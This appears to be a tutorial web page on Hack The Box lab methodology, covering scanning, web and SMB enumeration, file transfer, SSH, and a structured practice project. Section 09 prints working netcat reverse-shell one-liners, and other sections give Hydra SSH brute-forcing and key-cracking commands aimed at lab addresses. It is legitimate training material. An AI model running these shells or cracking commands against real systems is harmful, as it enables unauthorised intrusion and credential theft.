Hands-On Guide

Hack The Box

Get started with HTB, connect to your assigned lab and use a clear method for enumeration, hypotheses, controlled validation and write-ups.

CybersecurityFree Guide

Hack The Box provides intentionally vulnerable training environments. HTB Academy teaches concepts through modules; HTB Labs and Starting Point provide practical environments. Starting Point offers guided beginner machines with explanations.

Before You Start

  • Linux file handling, basic networking and HTTP.
  • An HTB account and internet access for platform labs; a supported VM or the platform’s browser environment.

YOUR LEARNING ORDER

Learn, Practise and Build

  1. Prepare One Lab

    Choose Starting Point, connect to the assigned lab and organise your notes.

  2. Enumerate and Form a Hypothesis

    Follow the hosts, discovery, web and service-enumeration sections.

  3. Understand Access and Transfers

    Use only the commands relevant to your lab; record what each transfer or shell changes.

  4. Investigate and Explain

    Study privilege boundaries, capture evidence and write a repeatable account of the machine.

Your project: Complete one assigned beginner machine with a scope note, service inventory, hypothesis log, minimal proof and private write-up. Record which hints helped and repeat the method afterwards.

Go to the practice project

SECTION 01

What Is Hack the Box ?

Hack The Box is an online platform allowing you to test your penetration testing skills and exchange ideas and methodologies with other members of similar interests. It contains several challenges that are constantly updated.

Hack The BoxOpen full-size image ↗
Illustrative screenshot. Interfaces and versions may differ; follow the written guidance and the linked project documentation.

Many people asked me about the methodology I use to root machines in Hack The Box, so today I will explain in detail how I play Hack The Box machine.

SECTION 02

Preparation

I create a separate dirctory for every single machine, so that I can save the files, tools and scripts I used in each box sepatately and note-down the important things like password, hash, custom scripts/payloads etc.

Hack The Box MachinesOpen full-size image ↗
Illustrative screenshot. Interfaces and versions may differ; follow the written guidance and the linked project documentation.

SECTION 03

Host File

Hosts FileOpen full-size image ↗
Illustrative screenshot. Interfaces and versions may differ; follow the written guidance and the linked project documentation.
Shell
# Add your assigned lab IP and hostname:
printf '%s\n' "10.10.10.XX machinename.htb" | sudo tee -a /etc/hosts

# Or edit the hosts file manually:
sudo nano /etc/hosts

Now you can use IP or URL in the commands or scripts as per your need.

SECTION 04

Information Gathering

NMAP :

https://nmap.org/download.html

NmapOpen full-size image ↗
Illustrative screenshot. Interfaces and versions may differ; follow the written guidance and the linked project documentation.
Shell
# Standard Scan for enumerating all ports & services :
sudo nmap -sS -sC -sV -p- -oN nmap-result.txt 10.10.10.XX

# UDP Scan.
sudo nmap -v -sU -T3 -oN nmap-UDP-result.txt 10.10.10.XX

MASSCAN :

https://github.com/robertdavidgraham/masscan

Shell
# Scan all TCP/UDP ports :
masscan -p1-65535,U:1-65535 10.10.10.XX

AUTOMATE RECON / ENUM :

you can also use these script to automate the process of enumeration & recon.

AutoRecon : https://github.com/Tib3rius/AutoRecon
nmapAutomator : https://github.com/21y4d/nmapAutomator

SECTION 05

Web Enumeration / Directory and Files Brute-forcing

NIKTO :

if Port 80 or 443 is Open, you can use Nikto to collect more information.

https://github.com/sullo/nikto

Shell
nikto -h https://10.10.10.XX | tee nikto.txt

GOBUSTER :

https://github.com/OJ/gobuster

gobusterOpen full-size image ↗
Illustrative screenshot. Interfaces and versions may differ; follow the written guidance and the linked project documentation.
Shell
# Directory Scan :
gobuster dir -u http://10.10.10.XX/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt

# Files Scan :
gobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -k -x txt,html,php -u http://10.10.10.XX:80/ -o gobuster.txt

FFUF :

https://github.com/ffuf/ffuf

Shell
ffuf -u http://10.10.10.XX:80/FUZZ/script.py -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee fuff.txt

WFUZZ :

https://github.com/xmendez/wfuzz

Shell
wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404,403 -u "http://10.10.10.XX/FUZZ.txt" -t 100 | tee wfuzz.txt

Use Seclists for More Wordlists : https://github.com/danielmiessler/SecLists

SECTION 06

Service Enumeration

EXPLOIT DB / SEARCHEXPLOIT :

https://exploit-db.com/searchsploit

SearchsploitOpen full-size image ↗
Illustrative screenshot. Interfaces and versions may differ; follow the written guidance and the linked project documentation.
Shell
# Install Exploid-DB :
sudo apt update && sudo apt -y install exploitdb

# Update Searchsploit :
searchsploit -u

# Finding Exploit offline using Searchsploit :
searchsploit -h

SMB ENUMERATION :

If you’re on a windows box and port 139 or 445 is open, Enumerate SMB.

SMB ClientOpen full-size image ↗
Illustrative screenshot. Interfaces and versions may differ; follow the written guidance and the linked project documentation.
Shell
# NMBlookup :
nmblookup -A 10.10.10.XX

# NBTscan :
nbtscan 10.10.10.XX

# SMBmap :
smbmap -H 10.10.10.XX

# SMBclient :
smbclient -L 10.10.10.XX
Shell
# You can also use Nmap SMB Script :

nmap --script smb-os-discovery 10.10.10.XX

nmap -p445 -sV --script smb-enum-services 10.10.10.XX

nmap --script smb-enum-shares -p 139,445 10.10.10.XX

nmap --script smb-vuln* -p 139,445 10.10.10.XX
Shell
# Rpcclient :
rpcclient -U "" -N 10.10.10.XX

ENUM4LINUX :

Enumerate information from Windows and Samba systems : https://kali.org/tools/enum4linux/

Enum4LinuxOpen full-size image ↗
Illustrative screenshot. Interfaces and versions may differ; follow the written guidance and the linked project documentation.
Shell
enum4linux -a -o 10.10.10.XX

SECTION 07

File Transfer in Linux

PYTHON HTTP SERVER :

Python ServerOpen full-size image ↗
Illustrative screenshot. Interfaces and versions may differ; follow the written guidance and the linked project documentation.

Shell
# Run inside a dedicated directory containing only your lab files:
python3 -m http.server 8000 --bind 10.10.14.XX
WgetOpen full-size image ↗
Illustrative screenshot. Interfaces and versions may differ; follow the written guidance and the linked project documentation.

Shell
# Retrieve the file from your lab transfer server:
wget http://10.10.14.XX:8000/file.txt

NETCAT :

Shell
# sender :
nc [IP/URL] [PORT] < filename
# (example : nc 10.10.10.69 1337 < data.zip)

# receiver :
nc -l [PORT] > filename
# (example : nc -l 1337 > data.zip)

BASE64 :

Base64Open full-size image ↗
Illustrative screenshot. Interfaces and versions may differ; follow the written guidance and the linked project documentation.
Shell
# Encode a file:
base64 file.txt

# Decode this harmless example (the text is "Hello, World!" plus a newline):
printf '%s' 'SGVsbG8sIFdvcmxkIQo=' | base64 --decode > newfile.txt

SCP :

Transfer the file test.file to the other server use the following command :

Shell
scp /filename.xyz root@10.10.10.XX:/path-of-file/filename.xyz

SECTION 08

File Transfer in Windows

HTTP SERVER :

Local System :

Shell
# Start Apache Server :
service apache2 start

# Move file to /var/www/html :
cp exploit.exe /var/www/html/

Target System :

Browser URL / PowerShell
# GUI: open the URL in the lab machine’s browser:
http://10.10.10.XX/filename.xyz

# PowerShell: download into the current user’s Desktop folder:
Invoke-WebRequest -Uri "http://10.10.10.XX/filename.xyz" -OutFile "$env:USERPROFILE\Desktop\filename.xyz"

PSCP :

https://the.earth.li/~sgtatham/putty/latest/htmldoc/Chapter5.html

PowerShell
# Transfer the file test.file to the other server use the following command :

pscp "C:\Users\USERNAME\Folder\file.txt" root@10.10.10.XX:/root/hacktheboxfile.txt

SECTION 09

Netcat

NetcatOpen full-size image ↗
Illustrative screenshot. Interfaces and versions may differ; follow the written guidance and the linked project documentation.

INSTALLATION :

Shell
# On Debian, Ubuntu or Kali:
sudo apt install netcat-openbsd
PowerShell
# Download the official Nmap installer from https://nmap.org/download.html
# Select Ncat during installation, then check:
ncat --version

LISTEN PORT :

Shell
nc -lvn [PORT]
# (example : nc -lvn 1337)

CHAT SERVER :

Shell
# your machine :
nc -l [PORT]
# (example : nc -l 1337)

# target machine :
nc [IP] [PORT]
# (example : nc 10.10.10.XX 1337)

Now, type anything and it will show on the listener's shell.

FILE TRANSFER :

Shell
# sender :
nc [IP/URL] [PORT] < filename
# (example : nc 10.10.10.XX 1337 < data.zip)

# receiver :
nc -l [PORT] > filename
# (example : nc -l 1337 > data.zip)

REVERSE SHELL :

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

Shell
ncat --exec /bin/sh 10.10.10.XX 1337

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this :

Shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.XX 1337 >/tmp/f

SECTION 10

SSH

SSHOpen full-size image ↗
Illustrative screenshot. Interfaces and versions may differ; follow the written guidance and the linked project documentation.

INSTALLATION :

Shell
sudo apt install openssh-server

CONNECTION :

Shell
# using password (ssh username@IP/URL) :
ssh learner@10.10.10.XX

# using ssh key (ssh -i id_rsa username@IP/URL) :
ssh -i id_rsa learner@10.10.10.XX

CREATE SSH KEYS :

Shell
ssh-keygen

PERMISSION :

Shell
# SSH Public key (. pub file) Permission : 644 (-rw-r--r--) : :
chmod 644 id_rsa.pub

# SSH Private key (id_rsa) & Authorized_Keys File Permission : 600 (-rw-------) :
chmod 600 id_rsa

SSH PASSWORD CRAKING USING KEY :

Download ssh2john.py

Shell
python3 /usr/share/john/ssh2john.py id_rsa > key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt key.hash

CRACK SSH PASSWORD USING HYDRA :

Shell
hydra -l username -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.XX

SECTION 11

Impacket

Impacket is a collection of Python classes for working with network protocols.

https://github.com/CoreSecurity/impacket



SECTION 12

Reverse Shell

Pentestmonkey : http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Reverse Shell Cheatsheet.md : https://github.com/swisskyrepo/PayloadsAllTheThings/
Reverse Shell Cheat Sheet : https://oscp.infosecsanyam.in/shells/reverse-shell-cheat-sheet - The original address is unavailable. This reference is retained; the linked alternative covers the same learning area. PayloadsAllTheThings Reference

SECTION 13

Shell Spawning

Interpreter and Shell Examples
# Python 3: spawn a PTY in your lab session
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Python 3: launch a shell without PTY handling
python3 -c 'import os; os.system("/bin/bash")'

# Interactive sh or bash
/bin/sh -i
/bin/bash -i

# Perl
perl -e 'exec "/bin/sh";'

# Ruby
ruby -e 'exec "/bin/sh"'

# Lua
lua -e 'os.execute("/bin/sh")'

# Inside IRB
exec "/bin/sh"

# Inside Vim
:!bash
:set shell=/bin/bash
:shell

# Historical Nmap interactive mode only (removed from current Nmap)
# !sh

Interactive tty-shell : https://github.com/cornerpirate/socat-shell

SECTION 14

Privilege Escalation

PayloadsAllTheThings : https://github.com/swisskyrepo/PayloadsAllTheThings
Evil-WinRM : https://github.com/Hackplayers/evil-winrm

LINUX :

WINDOWS :

PRACTICE PROJECT

A Machine Investigation Journal

Complete one assigned beginner machine with a scope note, service inventory, hypothesis log, minimal proof and private write-up. Record which hints helped and repeat the method afterwards.

PROJECT STEP 01

Choose the Right Starting Point

Begin with fundamentals or Starting Point if you are new to the platform. Its guided tiers increase complexity and include explanations. Free and premium content coexist; do not assume every machine or browser environment has unlimited free access. Check the current account entitlements before planning your practice.

Choose one machine suited to your level. Read its task description, rules and connection instructions before launching tools. The purpose is to understand a sequence of observations, not to reproduce a walkthrough without knowing why each step works.

Try It Yourself

Record the assigned machine name, permitted target, learning objective and the official hint or write-up policy in a new notebook.

Check Your Understanding

Can you explain the difference between a teaching module and a hands-on lab machine?

PROJECT STEP 02

Prepare the Environment and Notes

Use the platform-provided connection method: a correctly configured VPN from your lab VM or the supported browser-based environment. Different lab areas may have different connection profiles, so use the one attached to your current exercise. Keep your main machine’s sensitive files outside the lab environment.

Create a folder for notes, scan output and evidence. Record the currently assigned address rather than copying one from an old walkthrough. If the task requires a hostname mapping, edit the hosts file with appropriate administrator privileges and remove temporary entries after the exercise. Shell redirection is not elevated merely because the command before it uses sudo.

Create the Investigation Folder

Bash
mkdir -p "$HOME/htb-practice/notes" "$HOME/htb-practice/evidence"
cd "$HOME/htb-practice"
printf "Goal:\nAssigned target:\nScope:\nObservations:\nHypotheses:\n" > notes/machine.txt

Expected Result

The folder contains a starting notebook and a place for evidence. No command in this setup contacts a target.

Try It Yourself

Add the target shown by your active lab session and verify connectivity using the platform’s troubleshooting instructions.

Check Your Understanding

If a target does not respond, what connection and lab-state checks should you make before assuming the machine is broken?

PROJECT STEP 03

Turn Discovery into a Service Inventory

Enumeration is the process of learning what each observed service offers. Use bounded discovery on the exact assigned target and save the output. A service name inferred from a port is only a hint; a banner is another observation, not proof that a specific exploit applies.

For a web service, browse normally, inspect redirects and note the required hostname. For an SMB or other file service, follow the lab’s intended access path and distinguish anonymous access from authenticated access. The original directory listed Nmap, web discovery tools and protocol utilities; choose a tool because it answers a question, not because it appears in a checklist.

An Evidence-First Inventory

Text
Service: HTTP on the assigned lab address
Observed: redirects to a lab hostname
Question: does the hostname identify a different virtual host?
Next test: use the hostname specified by the task
Result: [record the actual response]
Confidence: observation confirmed; vulnerability not yet established

Expected Result

This note separates what the service does from what you suspect. It also gives you a useful next action.

Try It Yourself

Create a service table with endpoint, evidence, open question and next test. Keep failed tests as well as successful ones.

Check Your Understanding

Why should a version match be checked against configuration and prerequisites before trying an exploit?

PROJECT STEP 04

Test One Hypothesis at a Time

A hypothesis connects evidence to a possible weakness. For example, a lab page may expose a feature that handles files or checks account ownership. Identify the trust boundary and predict the result of a small test. Use hints to learn missing concepts, then return to your own notes and perform the test yourself.

Before running unfamiliar code, read it and identify the target parameters, local side effects and expected output. Do not run an exploit simply because its title mentions the same software. The assigned lab may teach a configuration error, an authentication issue or a logic flaw rather than a published CVE.

Try It Yourself

Write three columns: observation, hypothesis and result. For each attempted path, explain what would make you accept or reject the hypothesis.

Check Your Understanding

Could you explain your next command without saying “the walkthrough told me to run it”?

PROJECT STEP 05

Understand SSH, File Transfer and Shells

SSH provides an encrypted remote session after host verification and authentication. Keep private keys private and apply permissions appropriate to the client; on a typical Linux file system, chmod 600 restricts a private key file to its owner. A host-key warning needs investigation, not automatic dismissal.

For files, distinguish transport from representation: scp transfers through SSH, while Base64 only represents bytes as text. A temporary HTTP server can expose every file under its served directory, so use a dedicated folder, bind deliberately and stop it afterwards. A shell is a command interface running with some identity; obtaining one does not automatically mean administrator access.

  • Use only lab credentials or keys supplied for your assigned exercise.
  • Compare a checksum when you need to confirm that a transferred lab file is unchanged.
  • Keep temporary listeners and file servers limited to the intended lab interface and duration.
  • Do not copy private keys, VPN profiles, tokens or real credentials into a public write-up.

Try It Yourself

Document how one lab file moved, which account could read it and how you checked its identity. If file transfer was unnecessary, explain why you skipped it.

Check Your Understanding

Why does encoding a file with Base64 neither encrypt it nor grant permission to read it?

PROJECT STEP 06

Investigate Privilege Boundaries

Privilege escalation means crossing from a less privileged context to a more powerful one through a weakness. In a lab, begin by identifying the current account, groups, permissions, service configuration and software environment. Look for a specific mismatch between intended and actual authority.

Enumeration scripts can collect useful observations but also produce large amounts of noise. Read what they do, use them only where permitted and validate their findings manually. Avoid interpreting every writable file or installed utility as an exploitable condition. Your explanation should connect the initial access, the vulnerable boundary and the demonstrated result.

Try It Yourself

Write a privilege diagram for the machine: initial account, relevant resource and intended administrator boundary. Record only the route you actually validated.

Check Your Understanding

What evidence distinguishes a permissions observation from a demonstrated privilege-escalation path?

PROJECT STEP 07

Document, Clean Up and Repeat

Follow the platform’s flag-submission and publication rules. Keep active-machine solutions and restricted flags private. A useful private write-up records prerequisites, observations, commands, failed ideas, proof and remediation. Explain the real security lesson, such as enforcing ownership or restricting a service account.

After completing the exercise, stop temporary services, disconnect the lab connection and preserve sanitised notes. Repeat the reasoning from a clean start when possible, without copying the walkthrough. If you needed many hints, that is a signal to revisit a foundation rather than rush to a harder machine.

Try It Yourself

Finish a one-page summary with the root cause, evidence, fix and one concept to practise next. Keep a separate private appendix if the platform restricts solutions.

Check Your Understanding

Can you reproduce the reasoning and explain how a defender would prevent or detect the issue?

Check Your Finished Project

  • The target comes from the active assigned lab.
  • Each tool answers a stated question.
  • The journal explains failed and successful hypotheses.
  • The final notes respect the platform’s publication rules.

Access and Offline Reading

This guide is free to read. HTB requires an account and internet access; machines, modules and browser environments can have different free or paid access conditions.

The guide text, examples and illustrations are included in this website’s local copy. External documentation, platform accounts, downloads and hosted labs need an internet connection.

Further Documentation

HACKTRONIAN_CLI // COMMAND PALETTE
QUICK_EXEC: